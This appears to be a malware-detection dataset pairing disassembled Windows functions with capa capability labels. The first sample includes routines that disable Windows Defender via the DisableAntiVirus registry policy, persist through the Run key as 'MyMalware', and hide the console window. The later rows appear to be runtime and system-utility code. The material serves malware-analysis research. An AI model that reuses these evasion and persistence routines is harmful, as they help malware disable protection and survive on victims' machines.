joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1400014ee
Capabilities:
Set registry value

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x40
lea rax, [rbp - 8]
mov qword [rsp + 0x20], rax
mov r9d, 0x20006
mov r8d, 0
lea rax, str.SOFTWAREPoliciesMicrosoftWindows_Defender
mov rdx, rax
mov rcx, 0xffffffff80000002
mov rax, qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
call rax
mov rax, qword [rbp - 8]
mov dword [rsp + 0x28], 4
mov qword [rsp + 0x20], 1
mov r9d, 4
mov r8d, 0
lea rdx, str.DisableAntiVirus
mov rcx, rax
mov rax, qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
call rax
mov rax, qword [rbp - 8]
mov rcx, rax
mov rax, qword [sym.imp.ADVAPI32.dll_RegCloseKey]
call rax
nop
add rsp, 0x40
pop rbp
ret

Function at 0x140001570
Capabilities:
Write file on windows

Disassembly:
push rbp
push rbx
sub rsp, 0x448
lea rbp, [rsp + 0x80]
mov qword [rbp + 0x3e0], rcx
mov r8d, 0x784
mov edx, 0
mov ecx, 0x1fffff
mov rax, qword [sym.imp.KERNEL32.dll_OpenProcess]
call rax
mov qword [rbp + 0x3b8], rax
call sym.rand
mov edx, eax
lea rax, [rbp - 0x50]
mov r9d, edx
lea r8, str.__d_
mov edx, 0x400
mov rcx, rax
call dbg.sprintf_s
lea rax, [rbp - 0x50]
mov rcx, rax
call sym.strlen
mov ebx, eax
mov ecx, 0xfffffff5
mov rax, qword [sym.imp.KERNEL32.dll_GetStdHandle]
call rax
mov rcx, rax
lea rax, [rbp - 0x50]
mov qword [rsp + 0x20], 0
mov r9d, 0
mov r8d, ebx
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WriteFile]
call rax
mov ecx, 0x64
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
nop
jmp 0x1400015a8

Function at 0x1400016e2
Capabilities:
Persist via run registry key
Set registry value

Disassembly:
push rbp
sub rsp, 0x160
lea rbp, [rsp + 0x80]
mov qword [rsp + 0x40], 0
lea rax, [rbp + 0xd8]
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x20006
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0
lea rax, str.SoftwareMicrosoftWindowsCurrentVersionRun
mov rdx, rax
mov rcx, 0xffffffff80000001
mov rax, qword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
call rax
lea rax, [rbp - 0x30]
mov r8d, 0x104
mov rdx, rax
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
call rax
lea rax, [rbp - 0x30]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_lstrlenA]
call rax
add eax, 1
mov edx, eax
mov rax, qword [rbp + 0xd8]
mov dword [rsp + 0x28], edx
lea rdx, [rbp - 0x30]
mov qword [rsp + 0x20], rdx
mov r9d, 1
mov r8d, 0
lea rdx, str.MyMalware
mov rcx, rax
mov rax, qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
call rax
mov rax, qword [rbp + 0xd8]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
nop
add rsp, 0x160
pop rbp
ret

Function at 0x1400017c6
Capabilities:
Hide graphical window

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x30
mov dword [rbp + 0x10], ecx
mov qword [rbp + 0x18], rdx
call dbg.__main
mov rax, qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
call rax
mov qword [rbp - 8], rax
mov rax, qword [rbp - 8]
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.USER32.dll_ShowWindow]
call rax
call dbg.DisableDefender
mov eax, 0
add rsp, 0x30
pop rbp
ret
Function at 0x140001ad0
Capabilities:
Write file on windows

Disassembly:
push rsi
push rbx
sub rsp, 0x38
mov rbx, rcx
lea rax, [rsp + 0x58]
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call sym.__acrt_iob_func
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sym.fwrite
mov rsi, qword [rsp + 0x28]
mov ecx, 2
call sym.__acrt_iob_func
mov rdx, rbx
mov rcx, rax
mov r8, rsi
call dbg.vfprintf
call sym.abort
nop
nop dword [rax]

Function at 0x140001b40
Capabilities:
Allocate or change rwx memory

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x50
movsxd rsi, dword [0x1400072e4]
mov rbx, rcx
test esi, esi
jle 0x140001c70
mov rax, qword [0x1400072e8]
xor r9d, r9d
add rax, 0x18
nop word [rax + rax]
mov r8, qword [rax]
cmp rbx, r8
jb 0x140001b8b
mov rdx, qword [rax + 8]
mov edx, dword [rdx + 8]
add r8, rdx
cmp rbx, r8
jb 0x140001c15
add r9d, 1
add rax, 0x28
cmp r9d, esi
jne 0x140001b70
mov rcx, rbx
call dbg.__mingw_GetSectionForAddress
mov rdi, rax
test rax, rax
je 0x140001c92
mov rax, qword [0x1400072e8]
lea rbx, [rsi + rsi*4]
shl rbx, 3
add rax, rbx
mov qword [rax + 0x20], rdi
mov dword [rax], 0
call dbg._GetPEImageBase
mov edx, dword [rdi + 0xc]
mov r8d, 0x30
lea rcx, [rax + rdx]
mov rax, qword [0x1400072e8]
lea rdx, [rsp + 0x20]
mov qword [rax + rbx + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x140001c77
mov eax, dword [rsp + 0x44]
lea edx, [rax - 4]
and edx, 0xfffffffb
je 0x140001c0e
lea edx, [rax - 0x40]
and edx, 0xffffffbf
jne 0x140001c20
add dword [0x1400072e4], 1
add rsp, 0x50
pop rbx
pop rsi
pop rdi
ret
cmp eax, 2
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x38]
mov r8d, 0x40
mov eax, 4
cmove r8d, eax
add rbx, qword [0x1400072e8]
mov qword [rbx + 8], rcx
mov r9, rbx
mov qword [rbx + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x140001c0e
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call dbg.__report_error
nop dword [rax]
xor esi, esi
jmp 0x140001b98
mov rax, qword [0x1400072e8]
mov edx, dword [rdi + 8]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov r8, qword [rax + rbx + 0x18]
call dbg.__report_error
mov rdx, rbx
lea rcx, str.Address__p_has_no_image_section
call dbg.__report_error
nop
nop word cs:[rax + rax]
nop dword [rax]

Function at 0x140002230
Capabilities:
Get thread local storage value

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x20
lea r12, [0x140007340]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x140007320]
test rbx, rbx
je 0x14000228c
mov rbp, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rdi, qword [sym.imp.KERNEL32.dll_GetLastError]
nop dword [rax]
mov ecx, dword [rbx]
call rbp
mov rsi, rax
call rdi
test rsi, rsi
je 0x140002283
test eax, eax
jne 0x140002283
mov rax, qword [rbx + 8]
mov rcx, rsi
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x140002268
mov rcx, r12
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
Function at 0x1400024a0
Capabilities:
Parse pe header

Disassembly:
xor eax, eax
cmp word [rcx], 0x5a4d
jne 0x1400024b8
movsxd rdx, dword [rcx + 0x3c]
add rcx, rdx
cmp dword [rcx], 0x4550
je 0x1400024c0
ret
xor eax, eax
cmp word [rcx + 0x18], 0x20b
sete al
ret

Function at 0x1400024d0
Capabilities:
Enumerate pe sections

Disassembly:
movsxd rax, dword [rcx + 0x3c]
add rcx, rax
movzx eax, word [rcx + 0x14]
movzx r8d, word [rcx + 6]
lea rax, [rcx + rax + 0x18]
test r8w, r8w
je 0x14000251d
lea ecx, [r8 - 1]
lea rcx, [rcx + rcx*4]
lea r9, [rax + rcx*8 + 0x28]
nop dword [rax + rax]
mov r8d, dword [rax + 0xc]
mov rcx, r8
cmp rdx, r8
jb 0x140002514
add ecx, dword [rax + 8]
cmp rdx, rcx
jb 0x14000251f
add rax, 0x28
cmp rax, r9
jne 0x140002500
xor eax, eax
ret

Function at 0x140002520
Capabilities:
Parse pe header

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x20
mov rsi, rcx
call sym.strlen
cmp rax, 8
ja 0x1400025b0
mov rdx, qword [0x140004480]
xor ebx, ebx
cmp word [rdx], 0x5a4d
jne 0x14000259e
movsxd rax, dword [rdx + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
jne 0x14000259e
cmp word [rax + 0x18], 0x20b
jne 0x14000259e
movzx edx, word [rax + 0x14]
lea rbx, [rax + rdx + 0x18]
movzx edx, word [rax + 6]
test dx, dx
je 0x1400025b0
lea eax, [rdx - 1]
lea rax, [rax + rax*4]
lea rdi, [rbx + rax*8 + 0x28]
jmp 0x140002589
add rbx, 0x28
cmp rbx, rdi
je 0x1400025b0
mov r8d, 8
mov rdx, rsi
mov rcx, rbx
call sym.strncmp
test eax, eax
jne 0x140002580
mov rax, rbx
add rsp, 0x20
pop rbx
pop rsi
pop rdi
ret
xor ebx, ebx
mov rax, rbx
add rsp, 0x20
pop rbx
pop rsi
pop rdi
ret

Function at 0x1400025c0
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x140004480]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x1400025e0
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x1400025e8
ret
cmp word [r8 + 0x18], 0x20b
jne 0x1400025e0
movzx eax, word [r8 + 0x14]
sub rcx, rdx
lea rax, [r8 + rax + 0x18]
movzx r8d, word [r8 + 6]
test r8w, r8w
je 0x14000263d
lea edx, [r8 - 1]
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop word cs:[rax + rax]
mov r8d, dword [rax + 0xc]
mov rdx, r8
cmp rcx, r8
jb 0x140002634
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x1400025e0
add rax, 0x28
cmp rax, r9
jne 0x140002620
xor eax, eax
ret

Function at 0x140002640
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x140004480]
xor ecx, ecx
cmp word [rax], 0x5a4d
jne 0x14000265f
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x140002668
mov eax, ecx
ret
cmp word [rax + 0x18], 0x20b
jne 0x14000265f
movzx ecx, word [rax + 6]
mov eax, ecx
ret
Function at 0x140002680
Capabilities:
Parse pe header

Disassembly:
mov r8, qword [0x140004480]
xor eax, eax
cmp word [r8], 0x5a4d
jne 0x1400026a0
movsxd rdx, dword [r8 + 0x3c]
add rdx, r8
cmp dword [rdx], 0x4550
je 0x1400026a8
ret
cmp word [rdx + 0x18], 0x20b
jne 0x1400026a0
movzx eax, word [rdx + 0x14]
movzx r8d, word [rdx + 6]
lea rax, [rdx + rax + 0x18]
test r8w, r8w
je 0x1400026f0
lea edx, [r8 - 1]
lea rdx, [rdx + rdx*4]
lea rdx, [rax + rdx*8 + 0x28]
nop dword [rax]
test byte [rax + 0x27], 0x20
je 0x1400026e7
test rcx, rcx
je 0x1400026a0
sub rcx, 1
add rax, 0x28
cmp rdx, rax
jne 0x1400026d8
xor eax, eax
ret

Function at 0x140002700
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x140004480]
xor edx, edx
cmp word [rax], 0x5a4d
jne 0x14000271f
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
je 0x140002728
mov rax, rdx
ret
cmp word [rcx + 0x18], 0x20b
cmove rdx, rax
mov rax, rdx
ret

Function at 0x140002740
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x140004480]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x140002760
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x140002768
ret
cmp word [r8 + 0x18], 0x20b
jne 0x140002760
sub rcx, rdx
movzx r9d, word [r8 + 6]
movzx edx, word [r8 + 0x14]
lea rdx, [r8 + rdx + 0x18]
test r9w, r9w
je 0x140002760
lea eax, [r9 - 1]
lea rax, [rax + rax*4]
lea r9, [rdx + rax*8 + 0x28]
nop word cs:[rax + rax]
mov r8d, dword [rdx + 0xc]
mov rax, r8
cmp rcx, r8
jb 0x1400027b4
add eax, dword [rdx + 8]
cmp rcx, rax
jb 0x1400027c0
add rdx, 0x28
cmp r9, rdx
jne 0x1400027a0
xor eax, eax
ret
mov eax, dword [rdx + 0x24]
not eax
shr eax, 0x1f
ret

Function at 0x1400027d0
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov r11, qword [0x140004480]
xor r9d, r9d
cmp word [r11], 0x5a4d
jne 0x1400027f2
movsxd r8, dword [r11 + 0x3c]
add r8, r11
cmp dword [r8], 0x4550
je 0x140002800
mov rax, r9
ret
cmp word [r8 + 0x18], 0x20b
jne 0x1400027f2
mov eax, dword [r8 + 0x90]
test eax, eax
je 0x1400027f2
movzx edx, word [r8 + 0x14]
movzx r10d, word [r8 + 6]
lea rdx, [r8 + rdx + 0x18]
test r10w, r10w
je 0x1400027f2
lea r8d, [r10 - 1]
lea r8, [r8 + r8*4]
lea r10, [rdx + r8*8 + 0x28]
nop word cs:[rax + rax]
mov r9d, dword [rdx + 0xc]
mov r8, r9
cmp rax, r9
jb 0x140002855
add r8d, dword [rdx + 8]
cmp rax, r8
jb 0x140002868
add rdx, 0x28
cmp r10, rdx
jne 0x140002840
xor r9d, r9d
mov rax, r9
ret
add rax, r11
jmp 0x140002877
sub ecx, 1
add rax, 0x14
mov r8d, dword [rax + 4]
test r8d, r8d
jne 0x140002887
mov edx, dword [rax + 0xc]
test edx, edx
je 0x14000285e
test ecx, ecx
jg 0x140002870
mov r9d, dword [rax + 0xc]
add r9, r11
mov rax, r9
ret
Function at 0x140001394
Capabilities:
Accept command line arguments

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r12
push r14
push r15
sub rsp, 0x20
xor ebx, ebx
mov r15d, ebx
call qword [sym.imp.api_ms_win_core_processenvironment_l1_1_0.dll_GetCommandLineW]
mov rbp, rax
test rax, rax
jne 0x1400013cb
xor eax, eax
jmp 0x140001531
mov r12d, 2
movzx ecx, word [rax]
cmp cx, 0x20
je 0x1400013e0
cmp cx, 9
jne 0x1400013e5
add rax, r12
jmp 0x1400013d1
test cx, cx
jne 0x1400013f1
jmp 0x1400013c4
test cx, cx
je 0x140001410
inc r15d
mov rcx, rax
call fcn.140001564
movzx ecx, word [rax]
cmp cx, 0x20
je 0x14000140b
cmp cx, 9
jne 0x1400013ec
add rax, r12
jmp 0x1400013fc
movsxd rcx, r15d
mov eax, 8
mul rcx
mov r14, 0xffffffffffffffff
cmovo rax, r14
mov rcx, rax
call fcn.1400061b8
mov rsi, rax
test rax, rax
je 0x140001529
mov rdi, r14
inc rdi
cmp word [rbp + rdi*2], bx
jne 0x14000143d
inc rdi
mov rax, r12
mul rdi
cmovo rax, r14
mov rcx, rax
call fcn.1400061b8
mov r14, rax
test rax, rax
je 0x140001521
mov r8, rbp
mov rdx, rdi
mov rcx, rax
call fcn.140001310
test eax, eax
js 0x140001550
mov r8d, ebx
mov rax, r14
mov r9, rsi
cmp word [rax], bx
je 0x1400014bf
mov qword [r9], rax
mov rcx, rax
add r9, 8
inc r8d
call fcn.140001564
test rax, rax
je 0x1400014bf
cmp word [rax], bx
je 0x1400014ba
mov word [rax], bx
add rax, r12
cmp word [rax], 0x20
je 0x1400014ab
cmp word [rax], 9
je 0x1400014ab
test rax, rax
jne 0x140001487
movsxd rbp, r8d
test r8d, r8d
jle 0x1400014fb
mov rdi, rbx
mov r12d, 0x22
mov rcx, qword [rsi + rdi*8]
cmp word [rcx], r12w
jne 0x1400014f3
add rcx, 2
mov edx, r12d
mov qword [rsi + rdi*8], rcx
call qword [sym.imp.msvcrt.dll_wcschr]
test rax, rax
je 0x1400014f3
mov word [rax], bx
inc rdi
cmp rdi, rbp
jl 0x1400014d0
xor edx, edx
xor ecx, ecx
call qword [sym.imp.api_ms_win_core_com_l1_1_0.dll_CoInitializeEx]
mov r8d, 3
mov rdx, rsi
mov ecx, r15d
call qword [sym.imp.MSDTCTM.dll_Ordinal_4]
mov ebx, eax
mov rcx, r14
call fcn.1400061f4
mov rcx, rsi
call fcn.1400061f4
call qword [sym.imp.api_ms_win_core_com_l1_1_0.dll_CoUninitialize]
mov eax, ebx
mov rbx, qword [rsp + 0x40]
mov rbp, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
mov rdi, qword [rsp + 0x58]
add rsp, 0x20
pop r15
pop r14
pop r12
ret
mov ecx, eax
call fcn.140001700
lea rcx, str.failed_in_TracedStringCchCopyW
call fcn.140001c74
int3
Function at 0x140001ab0
Capabilities:
Terminate process

Disassembly:
mov qword [rsp + 0x10], rbx
push rbp
lea rbp, [rsp - 0x4a0]
sub rsp, 0x5a0
mov rbx, rcx
xor edx, edx
lea rcx, [rsp + 0x30]
mov r8d, 0x98
call sub.msvcrt.dll_memset
test rbx, rbx
jne 0x140001b26
lea rax, [rbp - 0x30]
lea rcx, [rbp - 0x30]
mov qword [rsp + 0x28], rax
call qword [sym.imp.ntdll.dll_RtlCaptureContext]
and qword [rsp + 0x38], rbx
lea rax, [rsp + 0x30]
and dword [rsp + 0x48], ebx
lea rbx, [rsp + 0x20]
mov qword [rsp + 0x20], rax
lea rax, [fcn.140001ab0]
mov qword [rsp + 0x40], rax
mov dword [rsp + 0x30], 0xc00000e5
mov dword [rsp + 0x34], 1
lea rcx, str.GenerateErrorDumps
call fcn.140001bd0
test eax, eax
je 0x140001b97
mov rcx, qword [0x140010700]
call qword [sym.imp.api_ms_win_core_synch_l1_1_0.dll_ResetEvent]
test eax, eax
jne 0x140001b57
lea r8d, [rax + 0x7f]
lea rcx, str.ResetEvent_fails_in_CEventSem::Reset__
call fcn.14000235c
xor r8d, r8d
lea rcx, [0x140001d70]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_QueueUserWorkItem]
test eax, eax
je 0x140001b97
mov rcx, qword [0x140010700]
xor r8d, r8d
or edx, 0xffffffff
call qword [sym.imp.api_ms_win_core_synch_l1_1_0.dll_WaitForSingleObjectEx]
cmp eax, 0xffffffff
jne 0x140001b97
mov r8d, 0x74
lea rcx, str.WaitForSingleObjectEx_fails_in_CEventSem::Wait__
call fcn.14000235c
mov rdx, qword [rbx + 8]
mov r8d, 1
mov rcx, qword [rbx]
call qword [sym.imp.ntdll.dll_RtlReportException]
call qword [sym.imp.api_ms_win_core_processthreads_l1_1_0.dll_GetCurrentProcess]
mov rcx, rax
or edx, 0xffffffff
call qword [sym.imp.api_ms_win_core_processthreads_l1_1_0.dll_TerminateProcess]
mov rbx, qword [rsp + 0x5b8]
add rsp, 0x5a0
pop rbp
ret

Function at 0x140001bd0
Capabilities:
Query or enumerate registry value

Disassembly:
mov dword [rsp + 0x10], edx
push rbp
push rbx
push rdi
mov rbp, rsp
sub rsp, 0x40
xor edi, edi
mov dword [rbp + 0x38], 4
mov rbx, rcx
mov qword [rbp - 0x10], rdi
lea rax, [rbp - 0x10]
mov dword [rbp + 0x30], edi
mov rcx, 0xffffffff80000002
mov dword [rbp + 0x28], edi
mov r9d, 0x20119
mov qword [rsp + 0x20], rax
xor r8d, r8d
lea rdx, str.SoftwareMicrosoftMSDTC
call qword [sym.imp.api_ms_win_core_registry_l1_1_0.dll_RegOpenKeyExA]
test eax, eax
je 0x140001c22
mov eax, edi
jmp 0x140001c56
mov rcx, qword [rbp - 0x10]
lea rax, [rbp + 0x38]
mov qword [rsp + 0x28], rax
lea r9, [rbp + 0x30]
lea rax, [rbp + 0x28]
xor r8d, r8d
mov rdx, rbx
mov qword [rsp + 0x20], rax
call qword [sym.imp.api_ms_win_core_registry_l1_1_0.dll_RegQueryValueExA]
test eax, eax
jne 0x140001c1e
cmp dword [rbp + 0x30], 4
mov eax, dword [rbp + 0x28]
cmovne eax, edi
mov dword [rbp + 0x28], eax
mov rcx, qword [rbp - 0x10]
test rcx, rcx
je 0x140001c6b
call qword [sym.imp.api_ms_win_core_registry_l1_1_0.dll_RegCloseKey]
mov eax, dword [rbp + 0x28]
add rsp, 0x40
pop rdi
pop rbx
pop rbp
ret
Function at 0x1400029e0
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push rbp
sub rsp, 0x60
lea rbp, [rsp + 0x40]
mov qword [rbp + 0x30], rbx
mov qword [rbp + 0x38], rsi
mov qword [rbp + 0x40], rdi
mov qword [rbp + 0x48], r14
mov rax, qword [0x14000e3b8]
xor rax, rbp
mov qword [rbp + 0x18], rax
mov rcx, qword [rbp + 0x50]
xor r14d, r14d
mov rdi, r8
mov word [r8], r14w
lea r8, str.not_loaded
lea edx, [r14 + 0x32]
call fcn.140001310
mov rsi, qword [rbp + 0x60]
lea rcx, str.comsvcs.dll
mov word [rsi], r14w
call qword [sym.imp.api_ms_win_core_libraryloader_l1_2_0.dll_GetModuleHandleW]
mov rbx, rax
test rax, rax
je 0x140002bad
xor r9d, r9d
lea edx, [r14 + 0x10]
lea r8d, [r14 + 1]
mov rcx, rax
call qword [sym.imp.api_ms_win_core_libraryloader_l1_2_0.dll_FindResourceExW]
test rax, rax
je 0x140002bad
mov rdx, rax
mov rcx, rbx
call qword [sym.imp.api_ms_win_core_libraryloader_l1_2_0.dll_LoadResource]
test rax, rax
je 0x140002bad
mov rcx, rax
call qword [sym.imp.api_ms_win_core_libraryloader_l1_2_0.dll_LockResource]
mov r9, rax
test rax, rax
je 0x140002bad
movzx r8d, word [rax]
mov ecx, r8d
shr ecx, 1
add ecx, r8d
mov edx, ecx
lea rax, [rcx + 0xf]
cmp rax, rdx
ja 0x140002ab0
movabs rax, 0xffffffffffffff0
and rax, 0xfffffffffffffff0
call fcn.140006ef0
sub rsp, rax
mov rdx, r9
lea rbx, [rsp + 0x40]
mov rcx, rbx
call sub.msvcrt.dll_memcpy
lea r9, [rbp]
mov rcx, rbx
lea r8, [rbp + 0x10]
lea rdx, str.VarFileInfoTranslation
call qword [sym.imp.api_ms_win_core_version_l1_1_0.dll_VerQueryValueW]
test eax, eax
je 0x140002b26
mov rax, qword [rbp + 0x10]
lea r9, [0x140008080]
mov ecx, r14d
movzx edx, word [rax]
mov rax, r9
cmp dx, word [rax]
je 0x140002b0e
inc ecx
add rax, 0x10
cmp ecx, 0x27
jb 0x140002afc
jmp 0x140002b26
mov r8d, ecx
mov edx, 5
add r8, r8
mov rcx, rdi
mov r8, qword [r9 + r8*8 + 8]
call fcn.140001310
lea r9, [rbp]
mov rcx, rbx
lea r8, [rbp + 8]
lea rdx, [0x140008c3c]
call qword [sym.imp.api_ms_win_core_version_l1_1_0.dll_VerQueryValueW]
test eax, eax
je 0x140002bad
mov r8, qword [rbp + 8]
mov r9d, dword [r8 + 8]
cmp r9d, 0xffffffff
je 0x140002b89
movzx eax, word [r8 + 0xc]
mov edx, 0x32
movzx r8d, word [r8 + 0xe]
mov rcx, qword [rbp + 0x50]
mov dword [rsp + 0x30], eax
mov dword [rsp + 0x28], r8d
lea r8, str._u._u._u._u
movzx r10d, r9w
shr r9d, 0x10
mov dword [rsp + 0x20], r10d
call fcn.14000195c
mov r8, qword [rbp + 8]
test byte [r8 + 0x1c], 1
lea rax, [0x140009970]
lea r8, [0x140009978]
mov edx, 5
cmovne r8, rax
mov rcx, rsi
call fcn.140001310
mov rcx, qword [rbp + 0x18]
xor rcx, rbp
call fcn.1400065b0
mov rbx, qword [rbp + 0x30]
mov rsi, qword [rbp + 0x38]
mov rdi, qword [rbp + 0x40]
mov r14, qword [rbp + 0x48]
lea rsp, [rbp + 0x20]
pop rbp
ret
Function at 0x140002c90
Capabilities:
Access the windows event log

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x20], r9
push rsi
push rdi
push r15
sub rsp, 0x50
mov eax, edx
mov r15d, 1
shr eax, 0x1e
mov esi, edx
movzx ebp, cx
cmp eax, r15d
jbe 0x140002cd4
lea ebx, [r15 + 1]
cmp eax, ebx
je 0x140002cd9
cmp eax, 3
jne 0x140002ccf
movzx ebx, r15w
jmp 0x140002cd9
mov ebx, r15d
jmp 0x140002cd9
mov ebx, 4
mov rax, qword [0x1400103d0]
test rax, rax
je 0x140002d5c
and qword [rsp + 0x88], 0
lea rcx, [rsp + 0x88]
call qword [0x140008930]
test eax, eax
js 0x140002d5c
mov rdi, qword [rsp + 0x88]
test rdi, rdi
je 0x140002d5c
and qword [rsp + 0x40], 0
mov rcx, rdi
mov r9, qword [rsp + 0x98]
mov rax, qword [rdi]
mov qword [rsp + 0x38], r9
mov r9d, esi
and dword [rsp + 0x30], 0
movzx r8d, bp
mov rax, qword [rax + 0x18]
movzx edx, bx
mov dword [rsp + 0x28], r15d
and qword [rsp + 0x20], 0
call qword [0x140008930]
mov rax, qword [rdi]
mov rcx, rdi
mov rax, qword [rax + 0x10]
call qword [0x140008930]
jmp 0x140002db3
lea rdx, str.COM
xor ecx, ecx
call qword [sym.imp.ADVAPI32.dll_RegisterEventSourceW]
mov rdi, rax
test rax, rax
je 0x140002db3
and qword [rsp + 0x40], 0
mov r9d, esi
mov rcx, qword [rsp + 0x98]
movzx r8d, bp
mov qword [rsp + 0x38], rcx
movzx edx, bx
and dword [rsp + 0x30], 0
mov rcx, rax
mov word [rsp + 0x28], r15w
and qword [rsp + 0x20], 0
call qword [sym.imp.ADVAPI32.dll_ReportEventW]
mov rcx, rdi
call qword [sym.imp.ADVAPI32.dll_DeregisterEventSource]
mov rbx, qword [rsp + 0x70]
mov rbp, qword [rsp + 0x78]
add rsp, 0x50
pop r15
pop rdi
pop rsi
ret
Function at 0x140002e40
Capabilities:
Delete file
Enumerate files on windows
Set file attributes

Disassembly:
mov qword [rsp + 0x18], rbx
mov qword [rsp + 0x20], rsi
push rbp
push rdi
push r12
push r14
push r15
lea rbp, [rsp - 0x7c0]
sub rsp, 0x8c0
mov rax, qword [0x14000e3b8]
xor rax, rsp
mov qword [rbp + 0x7b0], rax
mov esi, r8d
mov r14, rdx
mov rbx, rcx
xor edx, edx
mov r8d, 0x208
lea rcx, [rbp + 0x5a0]
call sub.msvcrt.dll_memset
mov edi, 0x20a
lea rcx, [rbp + 0x390]
mov r8d, edi
xor edx, edx
call sub.msvcrt.dll_memset
mov r8d, edi
lea rcx, [rbp + 0x180]
xor edx, edx
call sub.msvcrt.dll_memset
xor r15d, r15d
lea rcx, [rsp + 0x30]
xor edx, edx
mov r8d, 0x250
mov edi, r15d
call sub.msvcrt.dll_memset
mov r9, r14
mov qword [rsp + 0x20], rbx
lea r8, str._s_s.dmp
mov edx, 0x104
lea rcx, [rbp + 0x5a0]
call fcn.14000195c
lea rdx, [rsp + 0x30]
lea rcx, [rbp + 0x5a0]
call qword [sym.imp.api_ms_win_core_file_l1_1_0.dll_FindFirstFileW]
mov rbx, rax
mov r12d, 0x105
cmp rax, 0xffffffffffffffff
je 0x140002f57
inc edi
cmp word [rbp + 0x390], r15w
je 0x140002f31
lea rdx, [rsp + 0x5c]
lea rcx, [rbp + 0x390]
call qword [sym.imp.msvcrt.dll__wcsicmp]
test eax, eax
jle 0x140002f45
lea r8, [rsp + 0x5c]
mov rdx, r12
lea rcx, [rbp + 0x390]
call fcn.140001310
lea rdx, [rsp + 0x30]
mov rcx, rbx
call qword [sym.imp.api_ms_win_core_file_l1_1_0.dll_FindNextFileW]
test eax, eax
jne 0x140002f0f
cmp edi, esi
jb 0x140002ff0
lea rax, [rbp + 0x390]
mov r9, r14
lea r8, str._s_s
mov qword [rsp + 0x20], rax
mov rdx, r12
lea rcx, [rbp + 0x180]
call fcn.14000195c
mov edi, 0x80
lea rcx, [rbp + 0x180]
mov edx, edi
call qword [sym.imp.api_ms_win_core_file_l1_1_0.dll_SetFileAttributesW]
lea rcx, [rbp + 0x180]
call qword [sym.imp.api_ms_win_core_file_l1_1_0.dll_DeleteFileW]
lea edx, [rdi - 0x52]
lea rcx, [rbp + 0x180]
call qword [sym.imp.msvcrt.dll_wcsrchr]
test rax, rax
je 0x140002ff0
lea r8, str..txt
mov word [rax], r15w
mov rdx, r12
lea rcx, [rbp + 0x180]
call fcn.14000188c
mov edx, edi
lea rcx, [rbp + 0x180]
call qword [sym.imp.api_ms_win_core_file_l1_1_0.dll_SetFileAttributesW]
lea rcx, [rbp + 0x180]
call qword [sym.imp.api_ms_win_core_file_l1_1_0.dll_DeleteFileW]
cmp rbx, 0xffffffffffffffff
je 0x140002fff
mov rcx, rbx
call qword [sym.imp.api_ms_win_core_file_l1_1_0.dll_FindClose]
mov rcx, qword [rbp + 0x7b0]
xor rcx, rsp
call fcn.1400065b0
lea r11, [rsp + 0x8c0]
mov rbx, qword [r11 + 0x40]
mov rsi, qword [r11 + 0x48]
mov rsp, r11
pop r15
pop r14
pop r12
pop rdi
pop rbp
ret